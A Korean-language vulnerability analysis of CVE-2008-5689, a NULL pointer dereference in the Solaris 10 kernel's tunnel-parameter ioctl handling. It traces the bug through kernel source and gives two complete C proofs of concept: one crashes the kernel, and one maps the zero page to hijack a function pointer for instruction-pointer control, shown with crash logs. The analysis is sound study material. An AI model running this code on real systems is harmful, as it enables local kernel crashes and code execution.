[1-day Analysis] CVE-2008-5689 ( NULL Pointer Dereference in Solaris 10 )
CVE-2008-5689는 2007년 8월 23일에 Solaris 10 커널에서 발견된 NULL Pointer Dereference 취약점이다.
해당 취약점을 이용하면 EIP/RIP가 컨트롤 가능하고 익스플로잇까지 가능하다.
[..]
367 /*
368 * Message block descriptor
369 */
370 typedef struct msgb {
371 struct msgb *b_next;
372 struct msgb *b_prev;
373 struct msgb *b_cont;
374 unsigned char *b_rptr;
375 unsigned char *b_wptr;
376 struct datab *b_datap;
377 unsigned char b_band;
378 unsigned char b_tag;
379 unsigned short b_flag;
380 queue_t *b_queue; /* for sync queues */
381 } mblk_t;
[..]
uts/common/sys/stream.h에 위와같은 구조체가 선언되어있다.
Solaris 커널은 IOCTL을 처리하기 위해 여러 인터페이스를 지원하지만 STREAMS라고 불리는 프로그래밍 모델이 있다.
STREAMS는 모든 커널 수준의 I/O를 위와같은 구조체를 이용한다.
b_rptr, b_wptr 멤버는 b_datap 멤버가 가리키는 데이터 버퍼에서의 읽기와 쓰기 포인터를 명시한다.
[..]
26692 void
26693 ip_process_ioctl(ipsq_t *ipsq, queue_t *q, mblk_t *mp, void *arg)
26694 {
[..]
26717 ci.ci_ipif = NULL;
[..]
26735 case TUN_CMD:
26736 /*
26737 * SIOC[GS]TUNPARAM appear here. ip_extract_tunreq returns
26738 * a refheld ipif in ci.ci_ipif
26739 */
26740 err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);
[..]
uts/common/inet/ip/ip.c에 존재하는 ip_process_ioctl() 함수이다.
syscall을 SIOCGTUNPARAM로 커널에 전달하면 ip_process_ioctl() 함수가 호출된다.
ci.ci_ipif 값을 NULL로 설정하고 ip_extract_tunreq() 함수가 호출된다.
[..]
8158 /*
8159 * Parse an iftun_req structure coming down SIOC[GS]TUNPARAM ioctls,
8160 * refhold and return the associated ipif
8161 */
8162 /* ARGSUSED */
8163 int
8164 ip_extract_tunreq(queue_t *q, mblk_t *mp, const ip_ioctl_cmd_t *ipip,
8165 cmd_info_t *ci, ipsq_func_t func)
8166 {
8167 boolean_t exists;
8168 struct iftun_req *ta;
8169 ipif_t *ipif;
8170 ill_t *ill;
8171 boolean_t isv6;
8172 mblk_t *mp1;
8173 int error;
8174 conn_t *connp;
8175 ip_stack_t *ipst;
8176
8177 /* Existence verified in ip_wput_nondata */
8178 mp1 = mp->b_cont->b_cont;
8179 ta = (struct iftun_req *)mp1->b_rptr;
30 Chapter 3
8180 /*
8181 * Null terminate the string to protect against buffer
8182 * overrun. String was generated by user code and may not
8183 * be trusted.
8184 */
8185 ta->ifta_lifr_name[LIFNAMSIZ - 1] = '\0';
8186
8187 connp = Q_TO_CONN(q);
8188 isv6 = connp->conn_af_isv6;
8189 ipst = connp->conn_netstack->netstack_ip;
8190
8191 /* Disallows implicit create */
8192 ipif = ipif_lookup_on_name(ta->ifta_lifr_name,
8193 mi_strlen(ta->ifta_lifr_name), B_FALSE, &exists, isv6,
8194 connp->conn_zoneid, CONNP_TO_WQ(connp), mp, func, &error, ipst);
[..]
8179번째 줄에서 구조체 ta에 사용자 입력 데이터를 저장한다.
그후 8192번째 줄에서 ipif_lookup_on_name() 함수가 호출된다.
ipif_lookup_on_name() 함수의 첫번째와 두번째 매개변수는 구조체 ta의 사용자 입력 데이터와 사용자 입력 데이터 사이즈이다.
[..]
19124 static ipif_t *
19125 ipif_lookup_on_name(char *name, size_t namelen, boolean_t do_alloc,
19126 boolean_t *exists, boolean_t isv6, zoneid_t zoneid, queue_t *q,
19127 mblk_t *mp, ipsq_func_t func, int *error, ip_stack_t *ipst)
19128 {
[..]
19138 if (error != NULL)
19139 *error = 0;
[..]
19154 /* Look for a colon in the name. */
19155 endp = &name[namelen];
19156 for (cp = endp; --cp > name; ) {
19157 if (*cp == IPIF_SEPARATOR_CHAR)
19158 break;
19159 }
19160
19161 if (*cp == IPIF_SEPARATOR_CHAR) {
19162 /*
19163 * Reject any non-decimal aliases for logical
19164 * interfaces. Aliases with leading zeroes
Escape from the WWW Zone 31
19165 * are also rejected as they introduce ambiguity
19166 * in the naming of the interfaces.
19167 * In order to confirm with existing semantics,
19168 * and to not break any programs/script relying
19169 * on that behaviour, if<0>:0 is considered to be
19170 * a valid interface.
19171 *
19172 * If alias has two or more digits and the first
19173 * is zero, fail.
19174 */
19175 if (&cp[2] < endp && cp[1] == '0')
19176 return (NULL);
19177 }
19139번째 줄에서 포인터 error를 통해 error 값을 0으로 만든다.
19155~19159번째 줄에서는 사용자가 입력한 IOCTL 데이터에서 제공되는 인터페이스 이름에 콜론이 있는지 검사를 하고 콜론이 발견되면 콜론 이후의 데이터는 인터페이스의 별명으로 사용한다.
19175~19177번째 줄에서 별명이 2자리 숫자 이상이고, 첫번째 숫자가 0이라면 ipif_lookup_on_name() 함수는 NULL 값을 반환한다.
[..]
8192 ipif = ipif_lookup_on_name(ta->ifta_lifr_name,
8193 mi_strlen(ta->ifta_lifr_name), B_FALSE, &exists, isv6,
8194 connp->conn_zoneid, CONNP_TO_WQ(connp), mp, func, &error, ipst);
8195 if (ipif == NULL)
8196 return (error);
[..]
이렇게 ip_extract_tunreq() 함수에서 ipif에 NULL을 반환받고 8195~8196번째 코드를 통해 ipif_lookup_on_name() 함수에서 0으로 설정해줬던 error를 반환한다.
[..]
26717 ci.ci_ipif = NULL;
[..]
26735 case TUN_CMD:
32 Chapter 3
26736 /*
26737 * SIOC[GS]TUNPARAM appear here. ip_extract_tunreq returns
26738 * a refheld ipif in ci.ci_ipif
26739 */
26740 err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);
26741 if (err != 0) {
26742 ip_ioctl_finish(q, mp, err, IPI2MODE(ipip), NULL);
26743 return;
26744 }
[..]
26788 err = (*ipip->ipi_func)(ci.ci_ipif, ci.ci_sin, q, mp, ipip,
26789 ci.ci_lifr);
[..]
ip_process_ioctl() 함수에서 ip_extract_tunreq() 함수를 호출하여 err에 0 값을 반환받으면 26741~26744 코드는 실행되지 않는다.
26788번째 줄의 ipip->ipi_func가 가리키는 함수를 호출하는데 이 경우에는 ipip->ipi_func가 ip_sioctl_tunparam() 함수를 가리키고 있다.
ip_sioctl_tunparam() 함수를 호출할때 매개변수는 ci.ci_ipif를 전달한다.
[..]
9401 int
9402 ip_sioctl_tunparam(ipif_t *ipif, sin_t *dummy_sin, queue_t *q, mblk_t *mp,
9403 ip_ioctl_cmd_t *ipip, void *dummy_ifreq)
9404 {
[..]
9432 ill = ipif->ipif_ill;
[..]
ip_stioctl_tunparam() 함수를 호출할때 넘겨준 매개변수는 NULL 값을 반환받았기 때문에 9432번째 코드는
ill = NULL->ipif_ill 형태가 되게된다.
이렇게 NULL Pointer 역참조하게 되므로 NULL Pointer Dereference 취약점이 발생한다.
지금까지의 과정을 보면 취약점을 트리거하는 방법은 권한이 낮은 사용자에서 커널에 SIOCGTUNPARAM 요청을 하여 인터페이스의 이름을 ":01"로 설정하면 ipif_lookup_on_name() 함수는 ipif에 NULL 값을 반환하여 err를 0으로 만든다.
그 후 ip_sioctl_tunparam() 함수에 ipif를 첫번째 매개변수로 호출하고 그 결과 ill = NULL->ipif_ill 가 실행되며
NULL Pointer Dereference가 발생하게 된다.
#include <stdio.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <errno.h>
#include <sys/sockio.h>
#include <net/if.h>
int main()
{
int fd;
char data[32];
fd = open("/dev/arp", O_RDWR);
if(fd < 0)
{
printf("[-] /dev/arp Open Failed\n");
return -1;
}
data[0] = 0x3a; // :
data[1] = 0x30; // 0
data[2] = 0x31; // 1
data[3] = 0x00; // \0
syscall(SYS_ioctl, fd, SIOCGTUNPARAM, data);
printf("[-] Failed Trigger\n");
return 0;
}
취약점을 트리거하는 POC 코드이다.
SIOCGTUNPARAM을 지원하는 커널 네트워크 장치 /dev/arp를 열고 data에 인터페이스 이름과 별명으로 들어갈 값을 넣어준다.
그 후 syscall을 사용하여 커널에 SIOCGTUNPARAM을 요청하고 데이터를 전달한다.
> ::msgbuf
[..]
panic[cpu0]/thread=ffffffff87d143a0:
BAD TRAP: type=e (#pf Page fault) rp=fffffe8000f7e5a0 addr=8 occurred in module "ip"
due to a NULL pointer dereference
poc:
#pf Page fault
Bad kernel fault at addr=0x8
pid=1380, pc=0xfffffffff6314c7c, sp=0xfffffe8000f7e690, eflags=0x10282
cr0: 80050033<pg,wp,ne,et,mp,pe> cr4: 6b0<xmme,fxsr,pge,pae,pse>
cr2: 8 cr3: 21a2a000 cr8: c
rdi: 0 rsi: ffffffff86bc0700 rdx: ffffffff86bc09c8
rcx: 0 r8: fffffffffbd0fdf8 r9: fffffe8000f7e780
rax: c rbx: ffffffff883ff200 rbp: fffffe8000f7e6d0
r10: 1 r11: 0 r12: ffffffff8661f380
r13: 0 r14: ffffffff8661f380 r15: ffffffff819f5b40
fsb: fffffd7fff220200 gsb: fffffffffbc27fc0 ds: 0
es: 0 fs: 1bb gs: 0
trp: e err: 0 rip: fffffffff6314c7c
cs: 28 rfl: 10282 rsp: fffffe8000f7e690
ss: 30
38 Chapter 3
fffffe8000f7e4b0 unix:die+da ()
fffffe8000f7e590 unix:trap+5e6 ()
fffffe8000f7e5a0 unix:_cmntrap+140 ()
fffffe8000f7e6d0 ip:ip_sioctl_tunparam+5c ()
fffffe8000f7e780 ip:ip_process_ioctl+280 ()
fffffe8000f7e820 ip:ip_wput_nondata+970 ()
fffffe8000f7e910 ip:ip_output_options+537 ()
fffffe8000f7e920 ip:ip_output+10 ()
fffffe8000f7e940 ip:ip_wput+37 ()
fffffe8000f7e9a0 unix:putnext+1f1 ()
fffffe8000f7e9d0 arp:ar_wput+9d ()
fffffe8000f7ea30 unix:putnext+1f1 ()
fffffe8000f7eab0 genunix:strdoioctl+67b ()
fffffe8000f7edd0 genunix:strioctl+620 ()
fffffe8000f7edf0 specfs:spec_ioctl+67 ()
fffffe8000f7ee20 genunix:fop_ioctl+25 ()
fffffe8000f7ef00 genunix:ioctl+ac ()
fffffe8000f7ef10 unix:brand_sys_syscall+21d ()
syncing file systems...
done
dumping to /dev/dsk/c0d0s1, offset 107413504, content: kernel
poc 실행 후 커널 메시지를 출력해보면 0xfffffe8000f7e6d0 에서 NULL Pointer Dereference로 인해 커널 패닉이 발생했음을 알 수 있다.
> 0xfffffffff6314c7c::dis
ip_sioctl_tunparam+0x30: jg +0xf0 <ip_sioctl_tunparam+0x120>
ip_sioctl_tunparam+0x36: movq 0x28(%r12),%rax
ip_sioctl_tunparam+0x3b: movq 0x28(%rbx),%rbx
ip_sioctl_tunparam+0x3f: movq %r12,%rdi
ip_sioctl_tunparam+0x42: movb $0xe,0x19(%rax)
ip_sioctl_tunparam+0x46: call +0x5712cfa <copymsg>
ip_sioctl_tunparam+0x4b: movq %rax,%r15
ip_sioctl_tunparam+0x4e: movl $0xc,%eax
ip_sioctl_tunparam+0x53: testq %r15,%r15
ip_sioctl_tunparam+0x56: je +0x9d <ip_sioctl_tunparam+0xf3>
ip_sioctl_tunparam+0x5c: movq 0x8(%r13),%r14
위에 나온 RIP 레지스터 값을 디스어셈블리 해서보면 0xfffffe8000f7e6d0 위치인 ip_sioctl_tunparam+0x5c에서 r13 레지스터가 가리키는 주소를 참조하면서 취약점이 발생한다.
위에서 알 수 있듯이 r13 레지스터의 값은 0이다.
9401 int
9402 ip_sioctl_tunparam(ipif_t *ipif, sin_t *dummy_sin, queue_t *q, mblk_t *mp,
9403 ip_ioctl_cmd_t *ipip, void *dummy_ifreq)
9404 {
[..]
9432 ill = ipif->ipif_ill;
9433 mutex_enter(&connp->conn_lock);
9434 mutex_enter(&ill->ill_lock);
9435 if (ipip->ipi_cmd == SIOCSTUNPARAM || ipip->ipi_cmd == OSIOCSTUNPARAM) {
9436 success = ipsq_pending_mp_add(connp, ipif, CONNP_TO_WQ(connp),
9437 mp, 0);
9438 } else {
9439 success = ill_pending_mp_add(ill, connp, mp);
9440 }
9441 mutex_exit(&ill->ill_lock);
9442 mutex_exit(&connp->conn_lock);
9443
Escape from the WWW Zone 41
9444 if (success) {
9445 ip1dbg(("sending down tunparam request "));
9446 putnext(ill->ill_wq, mp1);
ip_sioctl_tunparam() 함수의 9432번째 줄에서 NULL 포인터가 역참조되기 전에 제로 페이지를 매핑하면 커널 패닉이 발생하지 않는다.
제로 페이지를 매핑하였다면 ill 구조체 값은 제로 페이지의 내부 데이터로 조작할 수 있다.
9446번째 줄에서 putnext() 함수를 호출할때 첫번째 매개변수로 ill->ill_wq 값을 전달한다.
146 void
147 putnext(queue_t *qp, mblk_t *mp)
148 {
[..]
154 int (*putproc)();
[..]
176 qp = qp->q_next;
177 sq = qp->q_syncq;
178 ASSERT(sq != NULL);
179 ASSERT(MUTEX_NOT_HELD(SQLOCK(sq)));
180 qi = qp->q_qinfo;
[..]
268 /*
269 * We now have a claim on the syncq, we are either going to
270 * put the message on the syncq and then drain it, or we are
271 * going to call the putproc().
272 */
273 putproc = qi->qi_putp;
274 if (!queued) {
275 STR_FTEVENT_MSG(mp, fqp, FTEV_PUTNEXT, mp->b_rptr -
276 mp->b_datap->db_base);
277 (*putproc)(qp, mp);
사용자는 ill->ill_wq를 조작할 수 있으므로 putnext() 함수의 qp, sq, qi 값도 제어할 수 있다.
또한 putproc() 함수 포인터도 조작할 수 있다.
putproc() 함수 포인터를 임의의 값으로 덮어씌우면 EIP/RIP도 조작 가능하여 임의의 코드를 실행할 수 있다.
#include <stdio.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/sockio.h>
#include <sys/mman.h>
#include <net/if.h>
#include <unistd.h>
#include <fcntl.h>
int map_null_page()
{
void* mem = (void *) -1;
mem = mmap(NULL, PAGESIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);
if (mem != NULL)
{
printf("[-] Failed mmap\n");
return -1;
}
memset (mem, 0x00, PAGESIZE);
*(unsigned long long *)0x00 = 0x0000000041414141; // qi->qi_putp
*(unsigned long long *)0x08 = 0x0000000000000010; // ipif->ipif_ill
*(unsigned long long *)0x10 = 0x0000000000000000; // ill->ill_ptr
*(unsigned long long *)0x18 = 0x0000000000000000; // ill->rq
*(unsigned long long *)0x20 = 0x0000000000000028; // ill->wq
*(unsigned long long *)0x28 = 0x0000000000000000; // qp->q_info
*(unsigned long long *)0x30 = 0x0000000000000000; // qp->q_first
*(unsigned long long *)0x38 = 0x0000000000000000; // qp->q_last
*(unsigned long long *)0x40 = 0x0000000000000028; // qp->q_next
*(unsigned long long *)0xa0 = 0x00000000000007d0; // qp->q_syncq
return 0;
}
int main()
{
int fd;
char data[32];
fd = open ("/dev/arp", O_RDWR);
if (fd < 0)
{
printf("[-] Failed Open /dev/arp\n");
return -1;
}
if (map_null_page () == -1)
{
return -1;
}
data[0] = 0x3a; // :
data[1] = 0x30; // 0
data[2] = 0x31; // 1
data[3] = 0x00; // \0
syscall (SYS_ioctl, fd, SIOCGTUNPARAM, data);
printf ("[-] Failed Trigger\n");
return 0;
}
EIP/RIP를 임의의 값으로 조작하는 POC 코드이다.
int map_null_page()
{
void* mem = (void *) -1;
mem = mmap(NULL, PAGESIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);
if (mem != NULL)
{
printf("[-] ERROR: mmap");
return -1;
}
memset (mem, 0x00, PAGESIZE);
*(unsigned long long *)0x00 = 0x0000000041414141; // qi->qi_putp
*(unsigned long long *)0x08 = 0x0000000000000010; // ipif->ipif_ill
*(unsigned long long *)0x10 = 0x0000000000000000; // ill->ill_ptr
*(unsigned long long *)0x18 = 0x0000000000000000; // ill->rq
*(unsigned long long *)0x20 = 0x0000000000000028; // ill->wq
*(unsigned long long *)0x28 = 0x0000000000000000; // qp->q_info
*(unsigned long long *)0x30 = 0x0000000000000000; // qp->q_first
*(unsigned long long *)0x38 = 0x0000000000000000; // qp->q_last
*(unsigned long long *)0x40 = 0x0000000000000028; // qp->q_next
*(unsigned long long *)0xa0 = 0x00000000000007d0; // qp->q_syncq
return 0;
}
map_null_page() 함수에서 mmap() 함수를 호출하여 제로 페이지를 메모리에 매핑한다.
그 후 memset() 함수를 호출하여 제로 페이지를 0x00 값으로 초기화 해준다.
마지막으로 가장 중요한 부분인 제로 페이지 데이터 레이아웃을 세팅하는 부분이다.
146 void
147 putnext(queue_t *qp, mblk_t *mp)
148 {
[..]
154 int (*putproc)();
[..]
176 qp = qp->q_next;
177 sq = qp->q_syncq;
178 ASSERT(sq != NULL);
179 ASSERT(MUTEX_NOT_HELD(SQLOCK(sq)));
180 qi = qp->q_qinfo;
[..]
268 /*
269 * We now have a claim on the syncq, we are either going to
270 * put the message on the syncq and then drain it, or we are
271 * going to call the putproc().
272 */
273 putproc = qi->qi_putp;
274 if (!queued) {
275 STR_FTEVENT_MSG(mp, fqp, FTEV_PUTNEXT, mp->b_rptr -
276 mp->b_datap->db_base);
277 (*putproc)(qp, mp);
qp->q_syncq는 명확한 메모리 주소를 가리켜야 하기때문에 제로 페이지에 존재하는 주소인 0x7d0으로 할당해준다.
180번째 줄을보면 qp->q_info의 값은 qi에 할당된다.
POC 코드를 보면 0x28 주소부터 qp 구조체의 시작 주소인 qp->q_info에는 0x0 값이 존재하므로 qi에는 0x0이 할당된다.
273번째 줄을 보면 qi->qi_putp 값이 함수 포인터인 putproc에 할당된다.
qi->qi_putp는 0x0 주소에서 참조되는데 0x0 주소에는 0x0000000041414141 값이 존재한다.
함수 포인터 putproc에는 0x0000000041414141이 할당된다.
따라서 277번째 줄에서 putproc 함수 포인터가 호출될 때 0x0000000041414141를 호출한다.
panic[cpu0]/thread=ffffffff8816c120:
BAD TRAP: type=e (#pf Page fault) rp=fffffe800029f530 addr=41414141 occurred in
module "<unknown>" due to an illegal access to a user address
poc2:
#pf Page fault
Bad kernel fault at addr=0x41414141
pid=1404, pc=0x41414141, sp=0xfffffe800029f628, eflags=0x10246
cr0: 80050033<pg,wp,ne,et,mp,pe> cr4: 6b0<xmme,fxsr,pge,pae,pse>
cr2: 41414141 cr3: 1782a000 cr8: c
rdi: 28 rsi: ffffffff81700380 rdx: ffffffff8816c120
rcx: 0 r8: 0 r9: 0
rax: 0 rbx: 0 rbp: fffffe800029f680
r10: 1 r11: 0 r12: 7d0
r13: 28 r14: ffffffff81700380 r15: 0
fsb: fffffd7fff220200 gsb: fffffffffbc27fc0 ds: 0
es: 0 fs: 1bb gs: 0
trp: e err: 10 rip: 41414141
cs: 28 rfl: 10246 rsp: fffffe800029f628
ss: 30
fffffe800029f440 unix:die+da ()
fffffe800029f520 unix:trap+5e6 ()
fffffe800029f530 unix:_cmntrap+140 ()
fffffe800029f680 41414141 ()
fffffe800029f6d0 ip:ip_sioctl_tunparam+ee ()
fffffe800029f780 ip:ip_process_ioctl+280 ()
fffffe800029f820 ip:ip_wput_nondata+970 ()
fffffe800029f910 ip:ip_output_options+537 ()
fffffe800029f920 ip:ip_output+10 ()
fffffe800029f940 ip:ip_wput+37 ()
fffffe800029f9a0 unix:putnext+1f1 ()
fffffe800029f9d0 arp:ar_wput+9d ()
fffffe800029fa30 unix:putnext+1f1 ()
fffffe800029fab0 genunix:strdoioctl+67b ()
fffffe800029fdd0 genunix:strioctl+620 ()
fffffe800029fdf0 specfs:spec_ioctl+67 ()
fffffe800029fe20 genunix:fop_ioctl+25 ()
fffffe800029ff00 genunix:ioctl+ac ()
fffffe800029ff10 unix:brand_sys_syscall+21d ()
syncing file systems...
done
dumping to /dev/dsk/c0d0s1, offset 107413504, content: kernel
POC를 실행하고 커널 메시지를 출력해보면 RIP 레지스터가 0x41414141로 조작되었다.
이렇게 EIP/RIP를 컨트롤할 수 있다.
19165 if (*cp == IPIF_SEPARATOR_CHAR) {
19166 /*
19167 * Reject any non-decimal aliases for logical
19168 * interfaces. Aliases with leading zeroes
19169 * are also rejected as they introduce ambiguity
19170 * in the naming of the interfaces.
19171 * In order to confirm with existing semantics,
19172 * and to not break any programs/script relying
19173 * on that behaviour, if<0>:0 is considered to be
19174 * a valid interface.
19175 *
19176 * If alias has two or more digits and the first
19177 * is zero, fail.
19178 */
19179 if (&cp[2] < endp && cp[1] == '0') {
19180 if (error != NULL)
19181 *error = EINVAL;
19182 return (NULL);
19183 }
취약점 패치는 ipif_lookup_on_name() 함수에서 별명이 두 자리 이상의 숫자이거나 0이면 실패하도록 정의하여
NULL Pointer Dereference 취약점을 패치하였다.